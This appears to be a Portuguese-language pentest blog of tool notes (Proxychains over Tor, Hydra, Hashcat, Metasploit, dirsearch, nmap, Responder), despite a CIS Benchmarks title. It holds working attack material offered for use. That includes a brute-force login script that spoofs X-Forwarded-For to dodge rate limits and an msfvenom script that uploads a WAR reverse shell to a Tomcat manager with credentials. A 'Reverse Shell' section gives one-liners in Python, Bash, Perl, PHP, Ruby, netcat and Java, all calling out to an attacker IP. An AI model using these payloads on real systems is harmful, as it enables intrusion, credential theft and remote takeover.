CIS Benchmarks para Linux

Proxychain

Felipe da Matta — Wed, 03 Feb 2021 14:49:14 UT

O ProxyChains é um programa que trabalha em base UNIX, que conecta funções relacionadas à rede em programas vinculados dinamicamente por meio de uma DLL pré-carregada e redireciona as conexões por meio de proxies SOCKS4 e SOCKS5 ou HTTP. Ao invés de realizar o roteamento para uma lista específica de proxies, podemos usar o Tor e redirecionar as requisições diretamente para a porta do Tor. Ou seja, realizamos varreduras diretamente pela rede Tor. $ sudo apt-get install proxychains $ sudo apt-get install tor Dentro do arquivo de config do proxychains: root@kali:~#: nano /etc/proxychains.conf Comentar a linha “strict_chain” Descomentar a linha “dynamic_chain” Explicação rápida sobre eles: Strict Chain Strict Chain é a opção padrão do Proxychains. Todas as conexões passam pelos proxies na ordem listada no arquivo de configuração. É útil quando você sabe que os proxies selecionados estão funcionando bem. Para usar, descomente strict_chain no arquivo de configuração. Dynamic Chain funciona de forma similar à Strict Chain — usa todos os proxies listados, mas ignora os que estiverem mortos ou fora do ar. Para usar, descomente dynamic_chain e comente random_chain e strict_chain. Random Chain significa aleatoriedade: as conexões passam por proxies escolhidos aleatoriamente da sua lista. Para usar, descomente random_chain e comente dynamic_chain e strict_chain. Se estiver usando o random_chain, descomente a linha chain_len, que define quantos IPs da lista serão encadeados aleatoriamente. Por padrão vem selecionado Strict Chain. Por isso comentamos strict_chain e descomentamos dynamic_chain para que o Proxychains trabalhe de forma dinâmica. E agora no final deste mesmo arquivo, vamos adicionar a linha: socks5 127.0.0.1 9050 Inicializando o serviço do tor root@kali:~#: service tor start root@kali:~#: service tor status Testando a Conexão Abra o Firefox ou Iceweasel e acesse a URL http://www.meuip.com.br/ para pegar o seu IP atual root@kali:~#: proxychains firefox Agora acesse o ‘utrace’ e coloque o IP do seu Proxy para saber a localização do servidor que você está utilizando como Gateway em http://en.utrace.de/ Se estiver tudo certo, e ele te mostrar a origem do server, está pronto! Agora, para realizar qualquer varredura, basta executar o comando com proxychains na frente: proxychains + [aplicação]. O Proxychains vai tunelar o tráfego de qualquer aplicação. Realizando uma varredura via Proxychains root@kali:~#: proxychains nmap -sC -sS 177.126.175.230

DSniff

Felipe da Matta — Wed, 30 Sep 2020 23:59:51 UT

O DSniff é um conjunto de ferramentas para auditoria de redes, que também poderá ser útil para aplicações forenses. Algumas das principais ferramentas dessa suíte são: DSniff: sniffer de senhas que suporta os protocolos FTP, Telnet, SMTP, HTTP e POP, dentre muitos outros. Filesnarf: ferramenta para extração de arquivos trafegados pelo protocolo NFS. Mailsnarf: ferramenta para extração de e-mails trafegados pelos protocolos SMTP e POP. DNSspoof: ferramenta para envio de respostas falsas a requisições DNS, auxiliando em ataques MITM. SSHmitm: ferramenta para execução de ataques MITM em conexões SSH (versão 1, exclusivamente), permitindo a captura de senhas e sequestro da sessão.

Tcpdump

Felipe da Matta — Wed, 30 Sep 2020 23:58:47 UT

O TCPDump funciona em linha de comando, para captura e análise de pacotes. Já vem instalado por padrão em diversas distribuições Linux, foi também portado para o Windows com o nome de Windump. O TCPDump provê uma interface de usuário para a interação com a LibPcap, biblioteca amplamente utilizada por sniffers open source, que atua diretamente no driver da placa de rede para possibilitar a captura de pacotes. # tcpdump Rodando o comando diretamente como root, ele vai começar a filtrar todos os pacotes. Incluindo todas as interfaces. Para fazer uma busca especifica por uma interface, wireless por exemplo, basta setar na frente do tcpdump o nome da mesma. # tcpdump -v -i wlp3s01

Ferramentas De Quebra De Senhas

Felipe da Matta — Wed, 30 Sep 2020 23:58:15 UT

Hydra O Hydra é uma ferramenta famosa que realiza ataque de dicionário a serviços. Seu uso é, basicamente, assim: hydra -l -p -t Abaixo, um exemplo de uma tentativa única (-t 1) com o usuário root (-l root) e a senha 12345 (-p 12345) no endereço 10.0.2.2 no serviço ssh: hydra -l root -p 12345 10.0.2.2 ssh -t 1 Podemos passar um dicionário de logins e senhas com o parâmetro -L e -P: hydra -L -P hydra -L login.txt -P senha.txt 10.0.2.2 ssh -t 4 O Hydra também possui uma interface gráfica que pode ser chamada com o comando: xhydra Medusa Assim como o Hydra, o Medusa realiza ataque de dicionário a serviços. Seu uso é basicamente: Para listar os módulos: medusa -q | more Comando: medusa -h -u -p -M medusa -h 10.10.100.25 -u admin -p 1234 -M ftp Lista de IPs, usuários e senhas: medusa -H -U -P -M medusa -H hosts.txt -U users.txt -P pass.txt -M smbnt John the Ripper O John the Ripper (o nome da ferramenta faz alusão a um famoso psicopata do século 19, Jack, o Estripador) é uma das ferramentas mais usadas em pentest, sendo ele um utilitário que faz quebra de senhas de três modos: WordList → Tenta quebrar a senha usando uma wordlist com combinações de senha/usuário. Single Crack → Tenta quebrar a senha usando as informações de login. Incremental → O modo mais robusto: tenta cada caractere possível até achar a senha correta. Por esse motivo, é indicado o uso de parâmetros para reduzir o tempo de quebra. No caso do modo incremental, é necessário ter o arquivo contendo o hash da senha do usuário (SAM no Windows ou /etc/shadow no Linux). Seu uso é basicamente: john --wordlist=dicionario.txt john --single john --incremental john --wordlist=dicionario.txt --format=NT As senhas quebradas são armazenadas no arquivo: ~/.john/john.pot E assim como o Hydra, o JtR também tem uma interface gráfica, que pode ser chamada pelo comando: johnny OphCrack O OphCrack é uma ferramenta nativa do Kali Linux e específica para uso com Rainbow Tables. Com uma interface gráfica bem intuitiva, o OphCrack é ideal para realizar ataques de Brute Force em sistemas Windows. Hashcat Também nativo do Kali, o Hashcat é uma ferramenta específica para realizar ataques do tipo Password Cracking. Uma das features mais interessantes dela é a possibilidade de se utilizar o processador da placa de vídeo para dar mais performance ao ataque. Seu uso é basicamente: hashcat -m -a -o Exemplo: hashcat -m 1800 -a 0 -o cracked.txt /etc/shadow /usr/share/wordlists/rockyou.txt Caso os drivers da placa de vídeo não estejam instalados, é necessário utilizar a opção --force: hashcat -m 1800 -a 0 -o cracked.txt /etc/shadow /usr/share/wordlists/rockyou.txt --force Metasploit Framework O Metasploit (MSF) é um framework criado por H.D. Moore que serve para elaboração e execução de exploits. Apesar de não ser esse o objetivo principal da ferramenta, o MSF possui módulos de ataque de força bruta para diversas aplicações, como o SSH. Pode ser executado pela sequência de comandos abaixo: service postgresql start msfconsole use auxiliary/scanner/ssh/ssh_login # outros módulos disponíveis: # use auxiliary/scanner/ftp/ftp_login # use auxiliary/scanner/smb/smb_login # use auxiliary/scanner/telnet/telnet_login show options set run

Steghide

Felipe da Matta — Thu, 20 Aug 2020 02:23:34 UT

$ sudo apt-get install steghide # Para embutir um arquivo de texto dentro de uma imagem steghide embed -cf picture.jpg -ef secret.txt # Para extrair o arquivo de dentro da imagem steghide extract -sf picture.jpg # Para exibir informações sobre o arquivo de imagem com o embed steghide info picture.jpg

Wfuzz

Felipe da Matta — Fri, 31 Jul 2020 04:13:20 UT

É uma ferramenta de fuzzing criada para facilitar a avaliação de aplicações web. Baseia-se num conceito simples: substitui qualquer referência à palavra-chave FUZZ pelo valor de um determinado payload. Um payload no Wfuzz é uma fonte de dados. wfuzz -c -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hc 404 http://10.15.0.1/FUZZ -c colorir saída -w caminho da wordlist --hc ignorar códigos de resposta (ex: 404)

GoBuster

Felipe da Matta — Tue, 28 Jul 2020 02:44:29 UT

GoBuster — primo do DIRB O GoBuster é uma ótima ferramenta utilizada para força bruta em URIs (diretórios e arquivos). -fw – força o processamento de um domínio com resultados curinga. -np – oculta a saída do progresso. -m – qual modo usar: dir ou dns (padrão: dir). -q – desativa a saída de banner/sublinhado. -t – número de threads a serem executadas (padrão: 10). -u – URL completo (incluindo esquema) ou nome de domínio base. -v – saída detalhada (mostra todos os resultados). -w – caminho para a wordlist usada na força bruta (use - para stdin). Eu poderia usar o DIRB? Sim, pois ele também faz o scanning de páginas. Ficaria assim: $ dirb http://192.168.219.128:65535 /usr/share/dirb/wordlists/big.txt Com o GoBuster, faço o brute force + scanning de diretórios, usando a mesma wordlist do DIRB. $ gobuster dir -u http://192.168.219.128:65535 -w /usr/share/dirb/wordlists/big.txt Flags mais usadas: -w -u

Wordlist com Palavras do Site

Felipe da Matta — Thu, 23 Jul 2020 02:58:13 UT

Gerando wordlist com palavras do site cewl -w wordlists.txt -d 10 -m 1 http://seualvo.com/ Crie o arquivo brute.py Para executá-lo basta rodar o comando: $ python3 brute.py import re import requests def open_ressources(file_path): return [item.replace("\n", "") for item in open(file_path).readlines()] #alvo host = 'http://seualvo.com' #url do login login_url = host + '/admin/login' #user username = 'admin' #caminho da wordlist wordlist = open_ressources('/root/wordlists.txt') for password in wordlist: session = requests.Session() login_page = session.get(login_url) csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1) print('[*] Trying: {p}'.format(p = password)) headers = { 'X-Forwarded-For': password, 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36', 'Referer': login_url } data = { 'tokenCSRF': csrf_token, 'username': username, 'password': password, 'save': '' } login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False) if 'location' in login_result.headers: if '/admin/dashboard' in login_result.headers['location']: print() print('SUCCESS: Password found!') print('Use {u}:{p} to login.'.format(u = username, p = password)) print() break

Dirsearch

Felipe da Matta — Thu, 23 Jul 2020 02:37:57 UT

DIRSEARCH https://github.com/maurosoria/dirsearch O dirsearch é uma ferramenta simples de linha de comando projetada para força bruta em diretórios e arquivos de sites. Particularmente prefiro ele ao DIRB ou GoBuster — já obtive mais resultados com ele. Vou escrever sobre essas outras ferramentas também. Uso git clone https://github.com/maurosoria/dirsearch.git cd dirsearch python3 dirsearch.py -u -e Exemplo $ python3 dirsearch.py -u http://sitedoalvo.com.br(ou IP) -e * _|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| ) Extensions: | HTTP method: getSuffixes: CHANGELOG.md | HTTP method: get | Threads: 10 | Wordlist size: 6552 | Request count: 6552 Error Log: /root/dirsearch/logs/errors-20-06-29_23-59-23.log Target: http://10.10.10.185 Output File: /root/dirsearch/reports/10.10.10.185/20-06-29_23-59-24 [23:59:24] Starting: [00:00:12] 301 - 313B - /images -> http://10.10.10.185/images/ [00:00:14] 403 - 277B - /index.shtml [00:00:14] 200 - 67KB - /index.php [00:00:14] 200 - 67KB - /index.php/login/ [00:00:14] 403 - 277B - /install.sql [00:00:17] 403 - 277B - /localhost.sql [00:00:17] 403 - 277B - /log.sqlite [00:00:18] 200 - 4KB - /login.php [00:00:18] 403 - 277B - /login.shtml [00:00:19] 403 - 277B - /logs.sqlite O dirsearch vai encontrar pastas e urls uteis para a exploração de vulnerabilidades.

sh_MSFvenom

Felipe da Matta — Thu, 23 Jul 2020 02:25:57 UT

echo "-------------------------------------CRIANDO UM EXPLOID COM MSFVENOM----------------------------------------------------" msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.29 LPORT=4444 -f war > exploit.war #IP do seu local host + porta #Criação do arquivo .WAR echo "-------------------------------------UPLOAD DO EXPLOIT NO ALVO---------------------------------------------------------" curl --user 'tomcat:$3cureP4s5w0rd123!' --upload-file exploit.war "http://10.10.10.194:8080/manager/text/deploy?path=/exploit.war" #O ataque foi em um alvo cujo tomcat9 estava vulneravel #IP do RHOST(alvo) + porta da aplicação #upload do arquivo .war echo "------------------------------------sucesso no upload -----------------------------------------------------" echo "-----------------------------------Se conectando ao netcat---------------------------------------------------------" echo "----------------------------------- http://10.10.10.194:8080/exploit.war ---------------------------------------------" nc -nvlp 4444 #em outra aba do terminal, deixe escutando na porta que desejar # nc -nvlp 4444 Quando estiver ouvindo a porta, vá no navegador e acesse o arquivo que você acabou de fazer o upload: http://10.10.10.194:8080/exploit.war/ Volte ao terminal — ele terá conectado via shell. Agora execute o shell reverso em Python para obter um terminal interativo: listening on [any] 4444 ... connect to [10.10.14.29] from (UNKNOWN) [10.10.10.194] 50476 python3 -c "import pty;pty.spawn('/bin/bash')"

Netcat

Felipe da Matta — Thu, 23 Jul 2020 02:02:18 UT

Netcat O Netcat é um utilitário que lê e grava dados nas conexões de rede, usando o protocolo TCP ou UDP. Foi projetado para ser uma ferramenta confiável de “back-end” que pode ser usada diretamente ou acionada por outros programas e scripts. É também uma ferramenta rica em recursos para depuração e exploração de rede, pois pode criar quase qualquer tipo de conexão. Usos comuns incluem: Proxies TCP simples Clientes e servidores HTTP baseados em shell-script Teste de daemon de rede SOCKS ou HTTP ProxyCommand para SSH Sintaxe: $ nc -nlvp 1234 -n Não faça pesquisas de serviço ou DNS em endereços, nomes de host ou portas especificados. -l Usado para especificar que o nc deve escutar uma conexão de entrada em vez de iniciar uma conexão com um host remoto. É um erro usar esta opção em conjunto com as opções -p, -s ou -z. Além disso, qualquer tempo limite especificado com a opção -w é ignorado. -v Faça nc dar uma saída mais detalhada. -p source_port Especifica a porta de origem que a nc deve usar, sujeita a restrições e disponibilidade de privilégios. Ou seja, com ele podemos ouvir portas TCP/UDP — basta colocar o nc escutando na porta 1234 aguardando uma conexão, para usar um shell reverso, por exemplo.

Reverse Shell

Felipe da Matta — Thu, 23 Jul 2020 01:51:31 UT

Python python -c 'import pty; pty.spawn("/bin/bash")' python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.15",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' Bash bash -i >& /dev/tcp/192.168.19.68/4455 0>&1 Perl perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' PHP php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' Ruby ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' Netcat nc -e /bin/sh 10.0.0.1 1234 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f Java r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() xterm xterm -display 10.0.0.1:1 Xnest :1 xhost +targetip

Nikto

Felipe da Matta — Thu, 23 Jul 2020 01:47:23 UT

NIKTO ================ Examine o servidor da Web em busca de vulnerabilidades conhecidas, incluindo: Configurações incorretas de servidor e software Arquivos e programas padrão Arquivos e programas inseguros Servidores e programas desatualizados Não é necessário fazer a instalação do mesmo pois ele é um script perl. Ele vem nativo no kali, para atualizar recomendo baixar direto do git deles. https://github.com/sullo/nikto git clone https://github.com/sullo/nikto # Main script is in program/ cd nikto/program # Run using the shebang interpreter ./nikto.pl -h http://www.example.com # Run using perl (if you forget to chmod) perl nikto.pl -h http://www.example.com -h + alvo (por padrão setada porta 80) -o posso gerar relatório em html ou txt, csv. -p posso setar as portas que quero separados por virgula. Exemplo: nikto -h 192.168.0.126 -p 8081,443 -o scan.html Toda vez que precisar rodar o nikto em diferentes diretórios do alvo, é necessário colocar o http na frente: nikto -h http://192.168.0.126/files -p 8081,443 -o scan.html

Searchexploit

Felipe da Matta — Thu, 23 Jul 2020 01:46:40 UT

SEARCHSPLOIT Searchsploit, é uma ferramenta de pesquisa de linha de comando do Exploit-DB que também permite que você leve uma cópia do Exploit Database com você, aonde quer que você vá. O SearchSploit oferece a capacidade de realizar pesquisas off-line detalhadas por meio de sua cópia do repositório com check-out local. Esse recurso é particularmente útil para avaliações de segurança em redes segregadas ou com falta de ar sem acesso à Internet. Com as informações dos serviços coletados pelo NMAP, seria maneiro procurar no searchsploit se este serviço contém alguma vulnerabilidade, procurando um exploit para ele. Neste caso podemos usar o searchsploit da seguinte maneira: fpmatta@T-REX ~> searchsploit vsftpd ------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------- --------------------------------- vsftpd 2.0.5 - 'CWD' (Authenticated) Remot | linux/dos/5814.pl vsftpd 2.0.5 - 'deny_file' Option Remote D | windows/dos/31818.sh vsftpd 2.0.5 - 'deny_file' Option Remote D | windows/dos/31819.pl vsftpd 2.3.2 - Denial of Service | linux/dos/16270.c vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/17491.rb ------------------------------------------- --------------------------------- Para atualizar a base do searchsploit faça: $ searchsploit -u Se não tiver ele instalado no seu S.O (caso não esteja utilizando o Kali linux): Clone o repositório, adicione o binário ao seu $PATH e edite o arquivo de configuração para refletir o caminho do git: $ sudo git clone https://github.com/offensive-security/exploitdb.git /opt/exploitdb $ sudo ln -sf /opt/exploitdb/searchsploit /usr/local/bin/searchsploit

NMAP

Felipe da Matta — Wed, 15 Jul 2020 18:02:31 UT

NMAP ================ O Nmap (“Network Mapper”) é uma ferramenta de código aberto para exploração de rede e auditoria de segurança. Foi desenhada para escanear rapidamente redes amplas, embora funcione igualmente bem contra hosts individuais. O Nmap utiliza pacotes IP em estado bruto (raw) de forma inovadora para determinar quais hosts estão disponíveis na rede, quais serviços estão em execução, sistemas operacionais e versões, tipos de filtros de firewall e outras características. É amplamente utilizado por administradores de segurança para inventário de sistemas, gerenciamento de serviços e monitoramento de disponibilidade. Para cada caso de enumeração e circunstâncias, existe flags especificas para cada tipo de alvo, geralmente dou um scan superficial no inicio, e depois utilizo algo mais profundo. As flags que mais utilizo são as seguintes: nmap -sV -sC -Pn -T4 -v -p- --min-rate=10000 Identifica hosts ativos com a porta 445 aberta: nmap --open -v -sS -p 445 -Pn 192.168.20.0/24 -oG smb.txt Cria arquivo com saída mais limpa, somente IPs: cat smb.txt | grep "Up" | cut -d " " -f2 > targets Canivete-suíço para enumerar os hosts (nome, domínio…): crackmapexec smb targets Capturar hashes NBT-NS / LLMNR — alterar o arquivo /etc/responder/Responder.conf: ; Specific IP Addresses to respond to (default = All) ; Example: RespondTo = 10.20.1.100-150, 10.20.3.10 RespondTo = ... responder -I -Prv Também são muito utilizadas as flags abaixo, do scan mais simples ao mais completo: Varredura de porta TCP SYN (padrão) nmap -sS 192.168.1.1 Tentativas para determinar a versão do serviço em execução na porta nmap -sV 192.168.1.1 Scan com scripts NSE padrão. Considerado útil para descoberta e segurança nmap -sC 192.168.1.1 Desative a descoberta de host. Somente varredura de porta. nmap -Pn 192.168.1.1-5 Scan agressivo (4) mais acelerado, utilizar somente quando você estiver em uma rede razoavelmente rápida e confiável. nmap -T4 192.168.1.1 Aumenta o nível de verbosidade (-v ou -vv para ainda mais detalhes) nmap -v 192.168.1.1 Envie pacotes não mais lentos que por segundo. (–min-rate) nmap --min-rate=1000 192.168.1.1 Envie pacotes não mais rapidos que por segundo. (–max-rate) nmap --max-rate=1000 192.168.1.1 Efetua o handshake triplo do TCP. O Nmap solicita ao sistema operacional que estabeleça uma conexão com o destino na porta especificada. nmap -sT 192.168.1.1 Envia um SYN TCP para ver se a porta responde com SYN ACK (aberta) ou RST (fechada). Também conhecida como varredura semi-aberta, pois não conclui o handshake TCP. É o padrão para usuários root. nmap -sS 192.168.1.1 Realiza uma varredura UDP. Como o UDP não usa um handshake, um serviço escutando uma porta UDP pode não enviar nenhuma resposta. As portas que enviam uma resposta são exibidas como abertas. -sU (varredura UDP). nmap -sU 192.168.1.50 Ativa a detecção do SO. nmap -O 192.168.1.50 Quantos hosts ativos. nmap -sP 192.168.1.0/24 Script para automatizar o processo de Scan em hosts ativos, pode personalizar com suas flags favoritas. # nano maroto_scan.sh #!/bin/bash echo "Insira o Range:" read RANGE nmap -sP $RANGE | grep for | cut -d " " -f5 echo "Isso aê" Para tornar o script executável: chmod +x maroto_scan.sh # Resumo: # Porta aberta = SYN + ACK # Porta Fechada = RST # hping3 --syn -c 1 -p 80 sitedeteste.com # SYN ACK = Flag:SA # hping3 --syn -c 1 -p 8000 192.168.0.11 # RST = Flag:RA (reset ack) # nmap -sS -p 80 192.168.0.113 (sem ruído) # nmap -sV -p 80 192.168.0.113 (versões dos serviços, porém bem barulhento) # nmap -A 192.168.0.113 (full scan, usa todos os recursos do NMAP para filtrar o máximo)